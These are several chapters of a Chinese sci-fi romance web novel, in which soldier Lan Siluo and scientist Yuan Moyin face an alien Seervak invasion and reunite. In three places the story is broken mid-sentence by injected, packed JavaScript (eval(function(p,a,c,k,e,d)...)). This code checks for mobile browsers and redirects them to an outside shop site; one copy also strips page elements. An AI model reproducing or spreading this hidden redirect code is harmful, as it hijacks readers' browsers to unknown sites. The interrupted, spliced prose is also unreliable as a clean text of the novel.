兰司珞拿光脑把两个人写的东西都拍下来:“我虽然看不懂,但我可以慢慢学,学不会还能背……你能不能告诉我写的是什么?” “你的机甲的核心算法。” 兰司珞看看自己的机甲,又看看那几行核心算法,最后看了看元墨洇。 “那我可以不背了。”他一下子活了过来,晶亮的眼里变换着仙女棒的颜色,熠熠生辉地看着元墨洇,“该你出题了。” 元墨洇抬手画了一个十分标准的圆。 兰司珞有点懊恼:“我的智商只配得上一个圆吗?绝对不行。” 他在里面画了一颗心,想了想,又画了一大一小两个连在一起的圈在旁边,还在小圆圈上画了四个尖尖。 拍完照后,图案还没消散,他指着面前的图说:“这是你,这是我爱你,这是我们的猫,这是……这算一个家吗?” 原来不是元墨洇看不上他的智商而随便画个圈敷衍他,而是他想要的家本来就是这么简单的东西。 简单到只需要一个期待已久的兰司珞,一个完全占据了兰司珞的心的元墨洇,和一只他们共同买下的猫。 他脸上笑容满足:“就是不知道汤燧星的任务什么时候才能结束,该不会等我们回家的时候,白咪都长大了吧。” 他曾经等过十年,十年明明很长。但此刻想起或许会在汤燧星耽搁许多年,他竟觉得那终点触手可及。 终点也确实没有等待那么长。 元墨洇告诉他:“半年之内。” 就算烟花挽留了一夜,热闹和喧嚣还是如同潮水般退去。 本来汇聚在一起的人群开始三三两两的散开,周遭从微澜的湖面缓缓变为流淌的江河。 兰司珞把自己毛绒绒的脑袋和装着三只兔子毛团的毛绒绒胸口一齐靠在元墨洇身上,眼神不甘地来回巡视脚下的几只空箱子,不情不愿地说:“我送你回去吧。” 他也就动了动嘴,脚上没有一点动静。 元墨洇拍拍他的脸,他只好放开手,蹲下慢慢收拾那几个纸箱。 元墨洇忽然按住他的肩,他抬头想要说些什么,却被元墨洇的另一只手按住。 一股熟悉的,刀割般的锋利波动路过兰司珞的脑海,朝着远处扩散出去,他战斗的本能随之一同被唤醒。 他听到了极轻的声音,在这之前,他看到了熟悉的,令他毛骨悚然的蓝色。 瑟尔瓦克生物体的尸体解除隐形跌落在地,尖叫声响起来之前,兰司珞发送了紧急战斗预警信号。 兰司珞迅速脱下自己的外套胡乱缠在元墨洇身上,紧接着便下载了机甲。元墨洇刚抖开身上多出来的外套,整个人已经被兰司珞牢牢地圈在怀里,激光剑凭借本能将周围扫荡了一圈。 剑尖传来熟悉的触感,是瑟尔瓦克生物体。 瑟尔瓦克怎么会出现在这里! 不过现在不是思考这些的时候,兰司珞清剿着身边的敌人,同时命令光脑连接上指挥部。 何晞传来回应,已经调动军团的力量赶往各处支援。 街道上此时一片狼藉,瑟尔瓦克生物体仗着隐身的优势肆无忌惮地在人群里冲撞。 街道上的彩灯被打碎,歪歪扭扭地闪着光。主人跑得太快,留下节日的音乐孤独地断断续续播放着。 脚下的玻璃屏幕被踩出慌乱的图案,兰司珞确认身侧清理干净后,快速飞往混乱的中心,救出被困在里面的没有战斗能力的人。 得益于机甲课的全面普及,大多数人都或多或少掌握了一定的机甲战斗技术,也会购置一套民用机甲以备不时之需。 兰司珞将好几批人救到元墨洇身边后,人群渐渐有序起来,开始自发地将老人与小孩护送到这块区域,并主动留下守护身后之人。 没过多久,军团的支援也到了,兰司珞见状,护送完手上的四个小孩子后,拉起元墨洇就要离开。 他是汤燧星的负责人,还有更重要的事情要去做,不能耽搁在这里。 元墨洇猛地拽住了兰司珞。 那双手苍白、瘦弱,却异常坚定而充满力量。 兰司珞回头,他的脸隐没在机甲头盔中,这次轮到元墨洇看不见他的表情。 元墨洇语速极快:“不要管我,你先回指挥部。” 攥着元墨洇的力量骤然加剧,甚至让她手心微微泛痛,但她只是放冷了声音唤道:“兰少将。” 兰司珞的手指触电般抖动了一下,放轻了力道,但依旧不肯松开。 元墨洇的声音依然冰冷而平稳:“你的首要任务是回到指挥部,联系军团,准备作战,放开我。” 兰司珞没有说话,元墨洇却觉得有一道湿漉漉的眼神隔着机甲黏在了自己身上。 加入军团的时候,兰司珞就被告知了这个世界的规则。 星族联盟是公平的,资源向哪一方倾斜,哪一方就必须提供更多的力量守护这片星空和星空下的人类。 家族成员要挡在平民身前,军团战士要服从命令。 正如此时此刻,元墨洇必须转身回去保护平民撤离,兰司珞必须听从调令回到他应该在的位置。 他们都是资源的享受者,在需要的时候,也同样应该放下私人情感,做出正确的选择。 可兰司珞没有想到,就算是早已有了这样的信念,在这一刻真的到来的时候,还是如此的痛彻心扉。 元墨洇用另一只手掰开了兰司珞紧攥着自己不放的金属手指,她知道兰司珞在害怕,甚至知道兰司珞在害怕什么,但她的眼神从始至终不曾改变过。 她推开兰司珞,对他说:“你该走了。我向你保证,你回来的第一眼一定能看到我。” 兰司珞声音沙哑:“就像今天一样?” “就像今天一样。” 兰司珞终于妥协,推进器直接拉满,头也不回地冲向高空。 他不敢减速,不敢回头,不敢流泪。 眼泪不是他们现在所需要的东西,时间才是。 元墨洇朝着背对兰司珞的方向走去。 与此同时,她的手按下了衣服上两个隐藏的按钮。 兰司珞的外套弹出一个蓝色的个人防护罩,将她牢牢包裹在里面。她自己的衣服上弹出一个巨大的蓝色光罩,随着她的走动,光罩还在逐渐扩大,直到她站在火山下,光罩已经笼罩了整个购物中心。 瑟尔瓦克生物体的身影在这片巨大的光罩中现出隐隐的轮廓,虽然不甚清晰,但对于在场的机甲战士来说已然足够。 一队机甲战士急速飞来,落在元墨洇身前,这是元家的护卫队。 元墨洇在防护罩里打开光脑,随着她的动作,光屏上出现了密密麻麻的视频通讯窗口,乔砂、沈钧、方清以及另外37人一同出现在她面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐曼是从镜头的远处一路小跑过来的,她声音还带着几分沙哑:“你们排查出原因了吗?目前情况稍稍控制住一些,我正在给处境糟糕的几个星球派兵增援,研究所那边的新武器有多少能动用的?发来我看看。” 陆书慎向她说明了对瑟尔瓦克的身体检测进展,元墨洇也把自己的安排告知了她。 唐曼神色终于缓和了些许,她的手绕过桌上满满的一杯水,去另一边调出军团目前掌控的资料:“你们需要什么协助?资料或者发布任务一会儿找我的副官安排,我估计没有时间关注这些。” 陆书慎点头,元墨洇开口道:“我马上会乘坐战舰以此去往各个星球调试那个设备,路线图已经发给你,沿途你安排清理一下。” 陆书慎愣住,唐曼手上动作慢了一瞬,她挑眉问道:“你可是普罗米修斯星域最珍贵的大宝贝,要以身犯险?” “这是我的责任。”元墨洇关掉视频界面。 唐曼看了眼陆书慎,陆书慎也看了眼唐曼。 虽然不是八卦的时候,唐曼还是忍不住感叹了一句:“果然是传闻中的那个性格啊,怪不得那次事件……” 关闭光脑后,元墨洇环顾四周的情况。 立刻有一个粉红色的机甲两下捅死了面前的瑟尔瓦克,拖着长长的激光向她飞来。 机甲里传来元墨枢的声音:“姐,平民已经全部疏散完毕了,瑟尔瓦克也清理得差不多了,兰少将派来的军团军士已经全面接管了这里,我护送你撤退。” 元墨洇取下自己那个带反隐功能的防护罩,交给最近的军士,开着兰司珞的防护罩随着元墨枢离开了。 两个人在空中飞速地飞行,很快便来到了居民区,降落在青囊诊所附近。 居民区显然经过了一场骚乱,地上还淌着蓝色和红色的血液。 元墨枢飞在高空确认青囊诊所的安全性,元墨洇在一旁等着,顺手把兰司珞的防护罩拆下,塞入街边一个瑟瑟发抖的小孩手里。 确认青囊诊所安全后,两人进入其中,打开喷泉上的机关,进入一间地下室里。 元墨洇走过旁边堆放的武器和设备,与元墨枢一起进入一个快速通道,只一分钟后,两人便来到了研究所。 一个研究员在门口等待她们:“所长,您的战舰已配备完成,请跟我来。” 28. 争分夺秒 战舰进入太空之后,唐曼的副官也传来消息,称护送任务已安排合适的人员。 元墨洇待在一个圆形的会议室里,整个会议室的墙面全部被光屏取代。 一半的墙面上是一个极其复杂的装置的设计图,整个装置由36个小装置联合而成,周围还有拆解下来的各种各样的零件。 另一半的墙面上是通讯界面、军团同步过来的清剿进展、青园和研究所的原因分析进展等。 元墨枢待在窗边用机器人检查机甲受损情况,元墨洇正在设计图旁用复杂的公式进行计算。 头顶电流声响起,军团安排的人连接上了她们的战舰驾驶员,通讯声音被驾驶员同步到会议室,方便元墨洇做出调整。 一个很熟悉的声音传来:“你好,我是兰司珞,军团.派我来执行这次护送任务的前三条路线,请把你们的行进情况同步到我的指挥室。” 元墨枢猛地转头看向元墨洇,元墨洇的手依然在快速书写着,就像没有听到兰司珞的声音一样。 两边战舰飞快交换着情报,兰司珞很快就挂断了通讯。 元墨洇从头到尾没有说话。 元墨枢把手从刚检测完自己机甲的机器人接口上移开,看了看元墨洇,又看了看窗外。 有一道金色的光芒来回穿梭,十分耀眼。 她还是忍不住开口:“你不跟他说句话吗?” “说过了。” 元墨枢得到意料之中的回复,又觉得非常失望。 她和自己姐姐的感情十分复杂,小时候因为岁数相差大,且元墨洇不住在家里,两姐妹之间非常冰冷疏离。 长大后因为一些契机亲近了不少,但她还是觉得和元墨洇之间仿佛隔着一层坚冰。 她偷偷幻想过坚冰融化是什么样子,第一次知道兰司珞的存在的时候,她十分兴奋。从那时起,她就在期待着元墨洇和兰司珞重逢的样子。 她以为元墨洇待兰司珞会不一样。 “唉。”元墨枢叹了口气,重新把目光移向窗外。 恰逢瑟尔瓦克的炮弹突破兰司珞布下的封锁线,击打在她们的战舰上,战舰不由得稍微晃动了一下,外壳上传来瑟尔瓦克着陆的警报声。 元墨枢闪身来到元墨洇身边,元墨洇就在警报声中平稳地书写着,让元墨枢剧烈跳动的心脏渐渐稳定下来。 窗外出现一抹金色,然后是白色的激光,伴随着蓝色的血液,一截触手沿着窗户落下。 警报声随之解除,元墨枢彻底放松下来。 她看着从头到尾只专注于工作的元墨洇:“姐姐,如果你之前告诉他战舰里面是你的话,说不定刚才就不会这么危险了。” 元墨洇又花了五分钟终于验算完成,中途还开口处理了研究所发来的申请。 短暂的休息中,元墨枢给她递上一杯水。 元墨洇喝了一口,突然回答了元墨枢刚才的问题:“无论是谁,他都应该全力以赴。” 元墨枢惊讶地看向她,她却看了一眼窗外,然后重新投入到工作里。 前两颗星球受到的攻击不算严重,驻军很快稳定了局面,元墨洇所要调试的“那个设备”运行情况也没受到影响,她很快便解决了问题,前往下一个节点。 到达第三颗星球的时候,兰司珞已经离开,他的任务只是清理出一条供元墨洇的战舰畅通无阻的路线。 而这颗星球受到的攻击比较严重,等到元墨洇修好设备再调试完成出来,只看到唐曼那边共享的瑟尔瓦克进攻区域显示,她所在的这颗星球被包围了。 元墨洇走出研究所,刚好看到天空中五颜六色的机甲穿梭在蓝色的雨幕里,在炮火声中如梦似幻。 元墨枢一直等在她身边,见到她张嘴喊道:“姐姐……”却不知该说什么。 “时间不容耽误。”元墨洇没有理会她的犹豫,径直向飞船走去,光屏切换到唐曼的通话界面,唐曼此时已带上她的主力部队去阻拦瑟尔瓦克的主舰队,视频对面是唐曼的副官,“调动5号、13号和29号星球的固定压缩激光炮同时攻击,这是攻击时间、强度和角度。” 副官接收了文件,皱眉看着上面紧迫的发射时间,知道来不及做细致的安排,直接将发射要求和激光炮路线统一到了备战系统里,并发送警告让路线上的机甲进行躲避。 1分钟后,三道雪亮的光柱从太空中抵达,将瑟尔瓦克的包围圈撕开一道口子,与此同时,元墨洇的飞船升空离去。 前往4号星球的路线上,阻挠强度明显增加,唐曼派来的清剿队伍开道速度锐减。 8号星球发来消息,研究所遭到二次袭击,目前已经派人抢修那个设备。情况没有稳定下来之前,元墨洇必须暂时绕开这颗星球。 离开6号星球后,瑟尔瓦克截断了通往7号星球的道路。 瑟尔瓦克发现了元墨洇的目标地点是研究所,所有潜入了星球地面的瑟尔瓦克生物体开始集火研究所。 …… 三天三夜过去,路线还没有走到三分之一,遇到的困难已经堆积如山。 元墨枢担忧地看着战舰外激烈的交战,又对着显示屏上明显缓慢的速度愁眉苦脸。 更让她担心的是,战舰指挥室传来驾驶员的声音:“墨枢,这条线路基本已经过不去了,再不掉头我们就要被瑟尔瓦克包围了,所长还没有任何指令吗?” “……没有。” “你有决定战舰路线的权限吗?” “有,但是……” “我听所长说起过你,她说你虽然学的医疗系,但是从没放弃过机甲系。你的机甲课成绩是她亲自批改的,其中得到S评价的两门分别是机甲战斗和战舰线路规划。目前情况我同步给你,你来做决定吧。” 元墨枢茫然地看着驾驶员发来的瑟尔瓦克分布图,她的光脑上,路线修改和战力部署两项亮着绿灯,这是上战舰之后元墨洇给她分配的。 她看了看完全沉浸在数据演算中的元墨洇,咬了咬牙,伸手开始修改原定好的路线图。 半个小时后,战舰险而又险地脱离了包围圈,元墨枢长舒了一口气,警报声响起,左翼发现了瑟尔瓦克战舰偷袭。 她额头沁出细密的汗珠,目光扫过光屏上密密麻麻的可调用武器,它们几乎都显示着“冷却中”或“路线被占用”,护送的军团战士在后方断后。 眼看对方舰载激光炮蓄力结束,她只好开启了战舰最高防御系统,同时打开了自己身上的防护罩,将整个会议室笼罩起来。 她死死盯着那道激光,在它发射过来的时候发出一声绝望的叹息。 “向左1/4,向下2/3,改道迫降11号星球。” 战舰传来剧烈的颠簸,紧接着是猛烈的震动,元墨枢跌入一个熟悉的怀抱中,会议室灯光闪烁,桌椅翻到,她和元墨洇一起被她的防护罩隔绝在角落里。 “姐姐,对不起,我……”震动停下来后,她伸手去检查元墨洇身上的擦伤。 “你做得很好,接下来交给我。” 元墨洇联络上了11号星球:“准备一艘新的战舰。” 她将手上的数据发送到每一个中等星球:“调试数据已经计算完成,在我到之前,按照这个进行预处理。” 她打开陆书慎前不久发给她的瑟尔瓦克入侵调查结果,上面显示是一种畸形的寄生生物体,可以在瑟尔瓦克死后入侵其大脑,获得第二次生命,而战舰停泊港口堆积的装满瑟尔瓦克的存储舱刚好给了它们入侵的机会:“尝试基因毒剂DOIX ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如同一个信号,蓝光闪烁着,三十六颗中等星球消失了,三颗高等星球消失了,军团的战舰消失了,奋战的机甲消失了。 漆黑一片的太空里,瑟尔瓦克生物体狰狞的躯体显现出来,随之而来的是它们的战舰,它们真正的星球堡垒。 主动与被动的角色交换,现在,会隐形的变成了星族联盟的星球与战士,反倒是瑟尔瓦克无从遁形。 研究所攻克了至关重要的隐身技术,宣告S级任务【瑟尔瓦克】第一项目标完成,反攻的号角正式吹响。 汤燧星的研究所里,元墨洇亲手按下启动按钮,目光一一扫过周围的虚拟屏幕,确认每一处环节都准确无误。 人类一方在设备中隐身…… 瑟尔瓦克显形…… 稳定运行十分钟,无任何异常波动…… 唐曼下达清剿命令…… 研究所爆发出响亮的欢呼声,每一个人脸上都浮现出激动欣喜的色彩。 方清和沈钧手拉手在一起跳舞,乔砂被元墨枢紧紧搂住,差点喘不过气来。 元墨洇依然面色平静。她将所有细节都确认完毕后,才将视线落在一处不起眼的信号上。 那是兰司珞的战舰。 乔砂终于从元墨枢手里挣脱出来,挤过狂欢的人群来到元墨洇身边:“老师,我们下一步做什么?” 随着她的提问,兴奋的人群才渐渐冷静下来,想起了她们还有很多事要做,维护器械、记录数据,一个个散开忙碌起来。 元墨洇看着兰司珞的信号向汤燧星飞来:“去战舰停泊港口处理堆积的存储舱。” 存储舱并不需要研究所立刻去解决,青园星域早就等待在那边。 只是她答应过一个人,要接他返航。 29. 所有人都看见啦! 兰司珞的战舰一着陆,他就迫不及待跳了下来。 战舰停泊港口上,源源不断的战舰正从天空中降落,后勤组勤勤恳恳地搬运着存储舱,不远处,青园星域和研究所的人来来回回忙碌着。 一片混乱的场景里,兰司珞还是一眼就看到了那个穿着白色研究所制服的人。 她低着头,似乎在看脚边的一个快递箱。注意到兰司珞的目光,她也向他看来。 兰司珞下意识笑了一下,却看见元墨洇背后突然飞来一个瑟尔瓦克生物体,四只粗壮的触手正对着她袭击而来。 伴随着不知道谁的叫声:“啊,我扔错地方了……” 于是,刚下飞行器的何晞便看见自己那个不靠谱的长官以一种从未见过的速度“嗖”地一下弹射了出去,像一颗华丽的的金色流星划过长空冲到元墨洇身前,右手的激光剑准确无误地砍下,将那个瑟尔瓦克生物体一分为二,左手顺势一捞搂住元墨洇的腰,两个人顺着冲击力重重摔在几米外。 此时的港口像被按下了暂停键,所有的动作都顿住了一瞬,一片鸦雀无声。 剑砍出去的时候兰司珞就觉得不对劲,那一剑的触感不像活物。 他一边顶着元墨洇杀人的眼光硬着头皮把她从地上扶起来,一边扫视整个广场: 元墨洇刚才站着的地方附近,一群穿着同款白色研究服的研究员正有条不紊地工作着。 其中有一个特别眼熟的身影,就是他在青囊诊所见过的沈钧。此时沈钧正干脆利落地将一个瑟尔瓦克生物体大卸八块,熟练地装进不同的仪器里交给旁边的研究员,再由那位研究员送到不同的地方。 沈钧旁边的人是乔砂,她正挨个给一个个完整的瑟尔瓦克生物体注射药液,然后扔进不同的箱子里,箱子上分别贴有标签,写着“青园星域某某农场”、“普罗米修斯星域某某研究所”、“帝都星域某某军团”等。旁边有人在她每次装好之后,负责将快递放入一旁的传送带。 当然,不远处还有元墨枢捂着双眼从指缝里面偷偷往这边看,在兰司珞眼神扫过的时候给他做了个“自求多福”的口型。 更远的战舰停泊位上,兰司珞手下的战士们刚下战舰,正整齐划一瞪大双眼傻愣着看向这里。 电光火石之间,兰司珞突然想通了所有的事。 为什么元墨洇会出现在这个不起眼的汤燧星,为什么这里的研究所设备极好、效率极高,为什么青囊诊所平日里不怎么开门,为什么元墨洇给他提供的助手可以通过保密审查,为什么元墨洇知道任务的结束时间,为什么元墨洇能承诺来接他…… 兰司珞一寸寸移动着头,缓缓对上了元墨洇面无表情的脸,双腿一软。 现在,有没有人能告诉他,有什么办法能回到过去,让他可以重新以一个华丽优雅的姿势落到元墨洇身前,而不是灰头土脸地把人扑在地上又扶起来。 这大概是元墨洇这辈子丢过最大的人了,兰司珞绝望地想到了曾在青囊诊所见到过的那柄花铲,又一次想好了自己可以埋在哪里。 兰司珞狗急跳墙,决定在临死前干一票大的。 他赶在元墨洇开口说话之前,猛地紧紧抱住对方,大声说道:“我回来了。” 然后把头轻轻放在元墨洇的颈窝,小声在她耳边说:“我好想你。” 想象中的精神力攻击、斥责……什么都没发生。 元墨洇任由他将自己抱在怀里,声音清澈如山泉,轻易便抚平了他内心所有的焦虑和躁动。 她说:“嗯,我来接你。” 兰司珞偷偷把头抬起来一点,去看元墨洇的脸色。 元墨洇依然是那副冷冷淡淡的样子,只是周围那么多人,她的目光始终落在兰司珞身上。 兰司珞想起自己买下的那颗私人星球,每到夜晚,独属于他的人造月亮便会将月光洒在他一个人身上。 他忍不住又往元墨洇怀里蹭了蹭,拉长声音:“我不是故意的,我太想你了。” 他的发丝挠在元墨洇脖子上,元墨洇伸手将其理顺:“嗯,我知道。” “我右手受伤了,伤口贴用完了。” “我办公室里有。” “那个大装置是你做的吗?好厉害。” “嗯。” “等办完后续的事务,我可以住在你那里吗?” “可以。” “白咪好像学会后空翻了,你想不想去看看?” “兰司珞。” “嗯?” “你该回去工作了。” “那你看不看白咪?” “看。” 兰司珞得到想要的答复,一步三回头地走了。 他梦游般做着自己的工作,何晞在他身边走来走去,好几次露出欲言又止的表情,但又什么话都不说,转头拿出光脑噼里啪啦打字。 兰司珞懒得理会何晞,他接到了研究所下午开会的通知,磨磨蹭蹭走到研究所的食堂,决定先吃顿饭给自己打打气。 果不其然,刚进食堂,他就收到了无数好奇的打量。 他装作若无其事的样子打完餐,刚坐下,就有个人“噔噔噔”地跑来坐到了他的对面。 他抬头看见对面那张跟元墨洇有几分相似的脸,不是很敢面对这个场景。 “我问你一个问题……”半晌,兰司珞才顶着对面意味深长的笑容虚弱地开口。 元墨枢一下子打断他:“我知道你要问什么,我姐姐让我告诉你,这个研究所的全名叫‘元墨洇精神力研究所’,对,就是我姐姐的研究所。” 她觑着兰司珞的脸色:“你不会真的不知道吧!哈哈哈哈哈哈……” 元墨枢笑得太大声,几乎快要把兰司珞的头震到桌子底下去了。 她才不管兰司珞是怎么想的,继续兴奋地念叨:“不过啊,姐夫,你那个时候很帅啊!你那嗖的一下,哇塞,我都没反应过来!那一剑刚好把那只瑟尔瓦克一分为二,那叫一个干脆利落!你这剑法怎么练的教教我求求了——” 随着她的话语,兰司珞默默将脸埋在了自己的手心。元墨枢说完这一长串词才听见他闷闷的声音从手掌后面传来:“你觉得今天过后我还有机会当你姐夫吗?” “你说什么丧气话呢!”元墨枢一巴掌拍在餐桌上,兰司珞跟着自己碗里的饭一起抖了一下,“所有人都看见了,你对我姐姐干出了这种事……” 兰司珞发出一声痛苦的呜咽。 元墨枢终于良心发现,想到自己还要蹭此人的机甲战斗经验,大发慈悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296144|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰道:“我觉得我姐姐没生气,她要真的生气你现在已经被架起来扔出汤燧星了……” 后面的话语被兰司珞猛然抬起的头吓没了。 元墨枢就看见对面的男人像是被打开了什么开关一样,眼睛一下子变得亮晶晶的,每一根头发丝都肉眼可见地开心起来。 他以极快的速度扒拉完眼前的饭,眼神明亮地看着元墨枢:“你姐姐现在在哪里?“ 元墨枢:“虽然但是,我不觉得你现在去找她是个好主意。” 毛绒绒的金色脑袋无精打采地垂下来。 “好吧。”兰司珞的声音又变得有气无力,“你想学哪个剑术,我发压缩包给你……” “我懂的姐夫,我这就去帮你试探一下我姐姐,这种事情我可有经验了!”元墨枢十分上道,“我可以多要点学习资料吗?你还记得三年前的那次公开军事演习吗?那里面好几种剑术我都特别眼馋,特别是对阵那个所谓第二军团第一天才的那一场,你那一剑……” 兰司珞推开会议室的门。 那张熟悉的长桌两侧坐满了人,其中夹杂着几个眼熟但从未出现在这里的面孔。 长桌尽头的大屏幕上的视频窗口也比平时看到的多了许多,唐曼将军依然处于最顶上的中心位置。 乔砂站在大屏幕旁,被兰司珞打断了自己的汇报,但还是友好地冲他点了点头,眼神飘到了另一处。 兰司珞跟着看向那处。 长桌那个从没有人坐过的主位上,元墨洇就坐在那里,手肘支撑在桌面上,十根手指指尖轻触,和其他人一样向他看来。 为了避开那些神色各异的脸上不同的目光,兰司珞龇着牙对元墨洇笑了一下,两个人目光交织后一同落在了唯一的空位——元墨洇右手边上的那一个位置——旁边坐着何晞,如果兰司珞愿意往旁边看一眼就能发现。 兰司珞立刻小跑着坐了上去。 乔砂被打断了片刻,回过神来,立刻接上自己的报告。 元墨洇桌上除了光脑投影出的光屏,还放着几块伤口贴,兰司珞见状,把右手的袖子卷起,手臂上那一大块擦伤正好摆在元墨洇眼前。 元墨洇撕开两块伤口贴,给他一一贴上。 会议室众人的注意力逐渐从乔砂的报告转移到两人身上,就连乔砂的语速也越来越慢。 视频的另一端,唐曼更是伸手撕开了桌上一包能量饼干,饶有兴致地边吃边看。 元墨洇贴完伤口贴,屈起两根手指,放在桌上轻轻敲了两下。 忽然所有人,尤其是研究所的研究员,浑身一激灵,立刻正襟危坐全神贯注地重新投入到乔砂的报告中。 乔砂的语速也回到之前的干脆快速。 唯独唐曼依然吃着她那包饼干,还对着视频另一端的陆书慎使眼色。 陆书慎默默撇过头去,偷偷看向自己的光脑。 唐曼:[我打听来的经过就是这样,怎么样,是不是很精彩?] 陆书慎:[难以想象元墨洇怎么面对的那种场景。] 唐曼:[那场景听起来挺帅的呀。] 陆书慎:[是我的话,我选择去死。] 唐曼:[要不然人家是元墨洇呢,看看看,人家还有心思秀恩爱呢。] 30. 他的爱穿梭精神风暴而来 会议结束后,元墨洇留下方清、兰司珞和何晞,又与唐曼、陆书慎讨论了几个核心的问题。 直到一切都敲定好了,四个人先后出了会议室。 方清和何晞走在前面,两个人谈论着一些军团与研究所之间的资源分配和价格问题。 兰司珞走在元墨洇身边,会议结束后他就放空了大脑,正围着元墨洇问一些没营养的问题。 “为什么住在汤燧星呀?是因为火山吗?我家里也有多余的地方,能安装一个火山。” “温泉。” “是因为这里的温泉里有适合研究的特殊物质?我们能打包一个带走吗?” “……” 走在前面的方清听了一耳朵,忍无可忍地停下脚步回过头来,恶狠狠地说:“是因为这里的温泉对皮肤很好。” 兰司珞眼睛一亮:“那更要搬一个走了,我这就去联系星球建设公司。” 方清震惊地看向何晞,何晞冲她耸了耸肩。 她又看向元墨洇,元墨洇正在给兰司珞授权自己家里那个温泉的搬运权限,没有看到她的眼神。 办完温泉的事,兰司珞问元墨洇:“你去哪里?我这边事务都处理完了。” 何晞听见他的话,条件反射想要扔给他一堆任务,在看到元墨洇之后又默默把头转了回去。 元墨洇调出自己的安排:“检查仓库。” 战后会专门回收破损的设备,她要去看一看现场的损失情况。 “那我也去检查仓库。”兰司珞也调出自己的任务安排,把检查仓库一项加了上去。 方清和何晞被留在顶楼。 研究所的一个实验室里,实习生们正做着自己的任务。 窗户外,因为人造太阳受损,天色黯淡。更兼黑云翻涌而来,气氛压抑而沉重。 元墨枢心不在焉地靠在冯钊手臂上,看着眼前的机器搅拌着瑟尔瓦克的血液提取液。 冯钊眼球往两边眼角各溜了一圈,把头微微侧向元墨枢,蠕动双唇:“怎么了阿枢?你偶像名草有主了,你难过?” 元墨枢翻了个白眼:“他本来就有主啊,我又不想娶他。” “那你怎么无精打采的?” “我……” “砰——!” 一滴蓝色的液体飞溅到两人眼前,元墨枢眼疾手快,拉着冯钊就躲到了安全的位置。 “怎么了,怎么了?” “哎哟,你干嘛?” “小心点啊。” 四面八方探出好多头来,有的拉长脖子好奇地打探经过,有的极力向后仰,发出谴责的声音。 李卓抿着嘴站在实验室中心的位置,刚才就是他将一杯瑟尔瓦克的血液不小心打翻在了地上。 领队的老师闻声赶来,目光一扫便了然:“李卓,你去叫一个清洁机器人来,将实验室清理干净。” 她顺势扫了一眼实验室,人人手上都有活儿干,唯独元墨枢两手空空,只面前摆了一台运行中的机器。 于是她吩咐道:“墨枢,你去重新领一杯血液样本来。” “是,老师。” “你们俩都快去吧,李卓,以后做事当心一点。” 元墨枢起身出门,回来的时候,李卓已经领着一个清洁机器人在干活了。 她顺便叮嘱了一句:“我们那个位置上也有一滴哦。” 李卓像个炮仗似的炸开了:“知道了知道了!烦不烦,这不是还没清洁到你们那块吗?我又不是不干活,一个两个催什么催。” 冯钊拉了拉元墨枢袖子,手上投射出一小块光屏给她看。 冯钊:[刚才你不在,我们主动报了一下溅射范围,他好像因此很不开心。] 元墨枢了然,这几个月在这里实习,她对李卓也有所了解。 所以她甩了一下头发:“觉得丢面子,做事就谨慎些呗。” 笑话,她在她亲姐姐的研究所里实习,难不成还要受气? 李卓猛地一巴掌拍在机器人头上,机器人亮起红灯:“警告!请勿随意敲打机器人!警告!……” “闭嘴。不就是仗着自己有个好姓氏,天天干最轻松的事,还和我们拿一样的积分……” “哦,那我参与清剿瑟尔瓦克入侵的时候,你在哪里?” “我又不是机甲系的!” “那你帮上忙了吗?” 研究所抽调了精英去帮助第四农场研究瑟尔瓦克入侵原因,大型隐身装置涉及核心机密,由元墨洇和她手下最优秀的研究员负责,普通研究员去保证战备支持,而他们实习生被留下运输材料。 其他实习生倒是很开心能出一份力,但是李卓却觉得自己被大材小用,一直心怀不满。 两个人在机器人的警告声中互不相让,冯钊和李卓的一位朋友见状,互相对视一眼,默契地上前将他们分开。 又有一位同学帮忙关闭了机器人的警报弹窗,实验室里暂时消停了下来。 清洁结束后,李卓去归还机器人。 他朋友看周围气氛紧张,不得不硬着头皮开口提醒道:“注意电源总开关,千万别误触。” 这是研究所安全须知的第一条,并且特别强调了在有人进入配电室的时候必须出声提醒。 也有人发出过疑问,电源总开关按照要求,必须暴露在外面,以便有任何异常可以第一时间切断。 因此偶然突发误触也很正常,没有研究所会专门强调这一点。 回应他的是李卓摔门的声音,朋友见状无奈一笑,旁边的人安慰地拍了拍他的肩膀。 元墨枢把面前的机器当李卓盯着,冯钊给她顺顺毛:“你又不是不知道李卓的性格,他也就嘴上能杠两句,真动手我们阿枢一拳给他揍趴下。” “烦死了,希望他能好好实习,别再搞事了。” 她的希望落空了,刚说完这句话,伴随着各种机器紧急停止运转的声音,整个实验室骤然一片漆黑。 瑟尔瓦克入侵的过程中,整个星空堡垒的人造太阳和多个星球的人造月亮也受到了不同程度的损伤。 其中也包括汤燧星的人造月亮。 恰逢今天汤燧星的天气预告里有雷阵雨,因此虽然才下午,外面的天空已经暗了下来。 元墨枢猛然站起,她迅速从不知道何处拿出一个圆球一样的东西砸在冯钊头上,冯钊被砸得眼冒金星,却还用手稳住了那个球:“这……什么?” 元墨枢胡乱对准位置,把冯钊的头强塞进了球里,隔着一个密闭装置,她的声音隔着一层屏障,听起来像鱼缸里的鱼在尖叫:“精神力隔绝保护头盔,你戴好,千万别摘下来。” 整个过程发生在电光石火之间,冯钊只觉得头上隐隐传来刺痛,身侧已经有同学晕在椅子上。 窗外一道蓄势多时的闪电劈下。 顷刻之间,一股可怕的精神风暴从研究所中心突然爆发开 